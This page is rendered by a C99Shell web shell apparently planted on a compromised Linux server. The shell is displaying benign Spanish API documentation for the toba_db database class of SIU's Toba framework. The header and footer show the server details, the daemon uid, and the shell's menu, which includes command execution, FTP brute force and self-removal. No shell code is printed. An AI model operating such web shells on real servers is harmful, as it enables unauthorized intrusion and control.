!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/proyectos/toba_editor/www/doc/api/Fuentes/   drwxr-xr-x
Free 14.23 GB of 61.93 GB (22.98%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     toba_db.html (84.44 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Docs For Class toba_db
phpDocumentor
[ árbol de herencia: Fuentes ] [ índice: Fuentes ] [ índice general ]

toba_db



		
		

Ubicada en /lib/db/toba_db.php [line 17]


Métodos Propios
toba_db   __construct()  
void   abortar_transaccion()  
void   abrir_transaccion()  
void   activar_registro_consulta()   Activa/desactiva el resgistro de los comandos de consulta.
void   activar_registro_ejecucion()  
void   cerrar_transaccion()  
void   conectar()   Crea una conexion a la base
array   consultar()   Ejecuta una consulta sql
array   consultar_fila()   Ejecuta una consulta sql y retorna la primer fila del resultado.
void   cortar_sql()  
void   crear_lenguaje_procedural()   Crea el lenguaje plpgsql unicamente si el mismo aun no existe para la base de datos.
void   destruir()  
void   ejecutar()   Ejecuta un comando sql o un conjunto de ellos
void   ejecutar_archivo()   Ejecuta los comandos disponibles en un archivo
void   ejecutar_transaccion()  
void   es_campo_candidato_descripcion()  
void   exportar_registro()  
void   get_definicion_columnas()  
string   get_dsn()   Retorna el dsn necesario para conectar con PDO
void   get_error_toba()   Mapea el error de la base al modulo de mensajes del toba
void   get_info_debug()   Retorna un arreglo con informacion de las distintas consultas/comandos ejecutados
object   get_manejador_auditoria()   Devuelve una instancia del manejador de auditoria para este motor de base de datos
void   get_opciones_sql_campo_externo()   Determina la sql,clave y desc de un campo externo de una tabla
array   get_parametros()  
PDO   get_pdo()   Retorna una referencia al objeto PDO interno
mixed   get_semantica_valor_defecto()   Devuelve el valor que es considerado por el motor para asignar el valor Default en la base.
array(sql,   get_sql_carga_descripciones()   Dada una tabla retorna la SQL que relaciona las claves con las descripciones
array(sql,   get_sql_carga_tabla()  
void   get_tipo_datos_generico()   Mapea un tipo de datos especifico de un motor a uno generico de toba
boolean   hay_datos()  
void   quote()  
string   recuperar_secuencia()   Retorna el valor de un campo SERIAL
void   retrazar_constraints()  
void   sentencia()   Crea una PDO_STATEMENT y lo ejecuta.
void   sentencia_agregar_binarios()   Agrega datos binarios a una sentencia SQL preparada con 'preparar_sentencia'
integer   sentencia_cantidad_afectados()   Retorna las filas afectadas por una sentencia
array   sentencia_consultar()   Ejecuta una sentencia SQL preparada con 'preparar_sentencia'.
array   sentencia_consultar_fila()   Ejecuta una sentencia SQL preparada con 'preparar_sentencia' y retorna la primer fila del resultado
array   sentencia_datos()   Retorna un formato recordset a partir de una sentencia ejecutada
integer   sentencia_ejecutar()   Ejecuta una sentencia SQL preparada con 'preparar_sentencia'.
void   sentencia_eliminar()   Quita una SQL del arreglo de sentencias.
integer   sentencia_preparar()   Prepara una sentencia para su ejecucion posterior.
void   set_modo_debug()  
void   set_parser_errores()  
mixed   ultimo_insert_id()  

Constructor __construct  [línea 49]

  toba_db __construct( string $profile, string $usuario, string $clave, string $base, [string $puerto = null]  )

Parámetros:
string   $profile:  Host donde se localiza el servidor
string   $usuario:  Nombre del usuario utilizado para conectar
string   $clave: 
string   $base:  Nombre de la base a conectar
string   $puerto: 

Redefinido en subclases como:

abortar_transaccion  [línea 697]

  void abortar_transaccion( )


Redefinido en subclases como:

abrir_transaccion  [línea 688]

  void abrir_transaccion( )


Redefinido en subclases como:

activar_registro_consulta  [línea 175]

  void activar_registro_consulta( [boolean $desactivar_consulta = false], [boolean $activar = true]  )

Activa/desactiva el resgistro de los comandos de consulta.
Parámetros:
boolean   $desactivar_consulta:  Indica si se ejecuta el comando y se registra(FALSE) o si solamente se registra(TRUE). Por defecto FALSE
boolean   $activar:  TRUE activa el resgistro, FALSE desactiva el registro. Por defecto TRUE


activar_registro_ejecucion  [línea 164]

  void activar_registro_ejecucion( [boolean $desactivar_ejecucion = false], [boolean $activar = true]  )

Parámetros:
boolean   $desactivar_ejecucion:  Indica si se ejecuta el comando y se registra(FALSE) o si solamente se registra(TRUE). Por defecto FALSE
boolean   $activar:  TRUE activa el resgistro, FALSE desactiva el registro. Por defecto TRUE


cerrar_transaccion  [línea 706]

  void cerrar_transaccion( )


Redefinido en subclases como:

conectar  [línea 76]

  void conectar( )

Crea una conexion a la base

Information Tags:
Throws:  toba_error_db en caso de error

consultar  [línea 360]

  array consultar( string $sql, [string $tipo_fetch = toba_db_fetch_asoc]  )

Ejecuta una consulta sql
Parámetros:
string   $sql:  Consulta
string   $tipo_fetch:  Modo Fetch de ADO, por defecto toba_db_fetch_asoc

Return:  Resultado de la consulta en formato recordset (filas x columnas), un arreglo vacio en caso que la consulta no retorne datos, usar if (empty($resultado)) para chequearlo

Information Tags:
Throws:  toba_error_db en caso de error

consultar_fila  [línea 399]

  array consultar_fila( string $sql, [string $tipo_fetch = toba_db_fetch_asoc], [ $lanzar_excepcion = true]  )

Ejecuta una consulta sql y retorna la primer fila del resultado.

Parámetros:
string   $sql:  Consulta SQL
string   $tipo_fetch:  Modo Fetch de ADO, por defecto toba_db_fetch_asoc
   $lanzar_excepcion: 

Return:  Arreglo asociativo columna=>valor, falso en caso de resultado vacio

Information Tags:
Throws:  toba_error_db en caso de error

cortar_sql  [línea 1034]

  void cortar_sql( $sql  )

Parámetros:
   $sql: 

Access:  protected


crear_lenguaje_procedural  [línea 275]

  void crear_lenguaje_procedural( )

Crea el lenguaje plpgsql unicamente si el mismo aun no existe para la base de datos.

redefinido en los hijos


Redefinido en subclases como:

destruir  [línea 67]

  void destruir( )



ejecutar  [línea 284]

  void ejecutar( mixed $sql  )

Ejecuta un comando sql o un conjunto de ellos
Parámetros:
mixed   $sql:  Comando o arreglo de comandos

Information Tags:
Throws:  toba_error_db en caso de que algun comando falle

ejecutar_archivo  [línea 450]

  void ejecutar_archivo( string $archivo  )

Ejecuta los comandos disponibles en un archivo
Parámetros:
string   $archivo:  Path absoluto del archivo


ejecutar_transaccion  [línea 717]

  void ejecutar_transaccion( $sentencias_sql, array $sentencias  )

Parámetros:
array   $sentencias:  Conjunto de comandos sql
   $sentencias_sql: 


es_campo_candidato_descripcion  [línea 1006]

  void es_campo_candidato_descripcion( array $campo  )

Parámetros:
array   $campo:  Definicion de un campo

Access:  protected


exportar_registro  [línea 186]

  void exportar_registro( [string $archivo_ejecucion = ''], [string $archivo_consulta = '']  )

Parámetros:
string   $archivo_ejecucion: 
string   $archivo_consulta:  Archivo al que se desea exportar el contenido del registro de consulta.


get_definicion_columnas  [línea 762]

  void get_definicion_columnas( $tabla  )

Parámetros:
   $tabla: 

Redefinido en subclases como:

get_dsn  [línea 735]

  string get_dsn( )

Retorna el dsn necesario para conectar con PDO

Redefinido en subclases como:

get_error_toba  [línea 1069]

  void get_error_toba( $codigo, $descripcion  )

Mapea el error de la base al modulo de mensajes del toba
Parámetros:
   $codigo: 
   $descripcion: 


get_info_debug  [línea 150]

  void get_info_debug( )

Retorna un arreglo con informacion de las distintas consultas/comandos ejecutados

Requiere haber activado el modo debug con set_modo_debug



get_manejador_auditoria  [línea 1086]

  object get_manejador_auditoria( [string $schema_modelo = 'public'], [string $schema_auditoria = 'public_auditoria'], [string $schema_toba = null]  )

Devuelve una instancia del manejador de auditoria para este motor de base de datos

ventana de extension en los hijos

Parámetros:
string   $schema_modelo: 
string   $schema_auditoria: 
string   $schema_toba: 

Redefinido en subclases como:

get_opciones_sql_campo_externo  [línea 971]

  void get_opciones_sql_campo_externo( $campo  )

Determina la sql,clave y desc de un campo externo de una tabla

Remonta N-niveles de indireccion de FKs

Parámetros:
   $campo: 


get_parametros  [línea 106]

  array get_parametros( )


Redefinido en subclases como:

get_pdo  [línea 97]

  PDO get_pdo( )

Retorna una referencia al objeto PDO interno


get_semantica_valor_defecto  [línea 247]

  mixed get_semantica_valor_defecto( )

Devuelve el valor que es considerado por el motor para asignar el valor Default en la base.

Redefinido en subclases como:

get_sql_carga_descripciones  [línea 949]

  array(sql, get_sql_carga_descripciones( string $tabla  )

Dada una tabla retorna la SQL que relaciona las claves con las descripciones
Parámetros:
string   $tabla: 

Return:  campo_clave, campo_descripcion)


get_sql_carga_tabla  [línea 876]

  array(sql, get_sql_carga_tabla( string $tabla  )

Parámetros:
string   $tabla: 

Return:  campo_clave, campo_descripcion)


get_tipo_datos_generico  [línea 771]

  void get_tipo_datos_generico( $tipo  )

Mapea un tipo de datos especifico de un motor a uno generico de toba

Adaptado de ADOdb

Parámetros:
   $tipo: 


hay_datos  [línea 440]

  boolean hay_datos( string $sql  )

Parámetros:
string   $sql:  Consulta SQL

Return:  Verdadero si la consulta retorna al menos una registro

Information Tags:
Throws:  toba_error_db en caso de error

quote  [línea 257]

  void quote( mixed $dato  )

Parámetros:
mixed   $dato:  Puede ser un string o un arreglo


recuperar_secuencia  [línea 744]

  string recuperar_secuencia( $secuencia  )

Retorna el valor de un campo SERIAL
Parámetros:
   $secuencia: 

Redefinido en subclases como:

retrazar_constraints  [línea 753]

  void retrazar_constraints( )


Redefinido en subclases como:

sentencia  [línea 334]

  void sentencia( string $sql, [mixed $parametros = null]  )

Crea una PDO_STATEMENT y lo ejecuta.
Parámetros:
string   $sql:  Consulta
mixed   $parametros:  Arreglo de parametros para el statement. Si el SQL poseia marcadores de tipo '?', hay que pasar un array posicional, si poseia marcadores de tipo 'nombre:', hay que pasar un array asociativo.

Information Tags:
Throws:  toba_error_db en caso de que algun comando falle

sentencia_agregar_binarios  [línea 507]

  void sentencia_agregar_binarios( integer $id, [array $binarios = array()]  )

Agrega datos binarios a una sentencia SQL preparada con 'preparar_sentencia'
Parámetros:
integer   $id:  ID de la sentencia
array   $binarios:  Arreglo con los resource apuntando a los binarios

Information Tags:
Throws:  toba_error en caso de que alguno de los parametros no se pueda agregar

sentencia_cantidad_afectados  [línea 673]

  integer sentencia_cantidad_afectados( integer $id  )

Retorna las filas afectadas por una sentencia
Parámetros:
integer   $id:  ID de la sentencia

Return:  Cantidad de registros afectados


sentencia_consultar  [línea 582]

  array sentencia_consultar( integer $id, [array $parametros = null], [string $tipo_fetch = toba_db_fetch_asoc]  )

Ejecuta una sentencia SQL preparada con 'preparar_sentencia'.
Parámetros:
string   $tipo_fetch:  Modo Fetch de ADO, por defecto toba_db_fetch_asoc
integer   $id:  ID de la sentencia
array   $parametros:  Arreglo con parametros de la sentencia

Return:  Resultado de la consulta en formato recordset (filas x columnas), un arreglo vacio en caso que la consulta no retorne datos, usar if (empty($resultado)) para chequearlo

Information Tags:
Throws:  toba_error_db en caso de error

sentencia_consultar_fila  [línea 621]

  array sentencia_consultar_fila( integer $id, [array $parametros = null], [string $tipo_fetch = toba_db_fetch_asoc], [ $lanzar_excepcion = true]  )

Ejecuta una sentencia SQL preparada con 'preparar_sentencia' y retorna la primer fila del resultado
Parámetros:
string   $tipo_fetch:  Modo Fetch de ADO, por defecto toba_db_fetch_asoc
integer   $id:  ID de la sentencia
array   $parametros:  Arreglo con parametros de la sentencia
   $lanzar_excepcion: 

Return:  Resultado de la consulta en formato recordset (filas x columnas), un arreglo vacio en caso que la consulta no retorne datos, usar if (empty($resultado)) para chequearlo

Information Tags:
Throws:  toba_error_db en caso de error

sentencia_datos  [línea 656]

  array sentencia_datos( integer $id, [string $tipo_fetch = toba_db_fetch_asoc]  )

Retorna un formato recordset a partir de una sentencia ejecutada
Parámetros:
string   $tipo_fetch:  Modo Fetch de ADO, por defecto toba_db_fetch_asoc
integer   $id:  ID de la sentencia

Return:  Resultado de la consulta en formato recordset (filas x columnas)


sentencia_ejecutar  [línea 543]

  integer sentencia_ejecutar( integer $id, [array $parametros = null], string $tipo_fetch  )

Ejecuta una sentencia SQL preparada con 'preparar_sentencia'.
Parámetros:
string   $tipo_fetch:  Modo Fetch de ADO, por defecto toba_db_fetch_asoc
integer   $id:  ID de la sentencia
array   $parametros:  Arreglo con parametros de la sentencia

Return:  Cantidad de registros afectados

Information Tags:
Throws:  toba_error_db en caso de error

sentencia_eliminar  [línea 529]

  void sentencia_eliminar( integer $id  )

Quita una SQL del arreglo de sentencias.

Se usa para liberar el resource de un blob y poder seguir operando con el archivo.

Parámetros:
integer   $id:  Identificador de la sentencia.


sentencia_preparar  [línea 484]

  integer sentencia_preparar( string $sql, [array $opciones = array()]  )

Prepara una sentencia para su ejecucion posterior.
Parámetros:
string   $sql:  Consulta SQL
array   $opciones:  Arreglo con parametros del driver

Return:  ID de la sentencia, necesario para ejecutarla posteriormente con 'ejecutar_sentencia($id)'

Information Tags:
Throws:  toba_error_db en caso de error

set_modo_debug  [línea 120]

  void set_modo_debug( [ $debug = true], [boolean $loguear = true]  )

Parámetros:
boolean   $loguear: 
   $debug: 


set_parser_errores  [línea 59]

  void set_parser_errores( toba_parser_error_db $parser  )

Parámetros:
toba_parser_error_db   $parser: 


ultimo_insert_id  [línea 467]

  mixed ultimo_insert_id( [string $secuencia = null]  )

se debe indicar la secuencia correspondiente para tener resultados significativos

Parámetros:
string   $secuencia:  Nombre de la secuencia que tiene asociada el id




Desarrollado por SIU.
Documentación generada con phpDocumentor 1.4.3

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 1.0728 ]--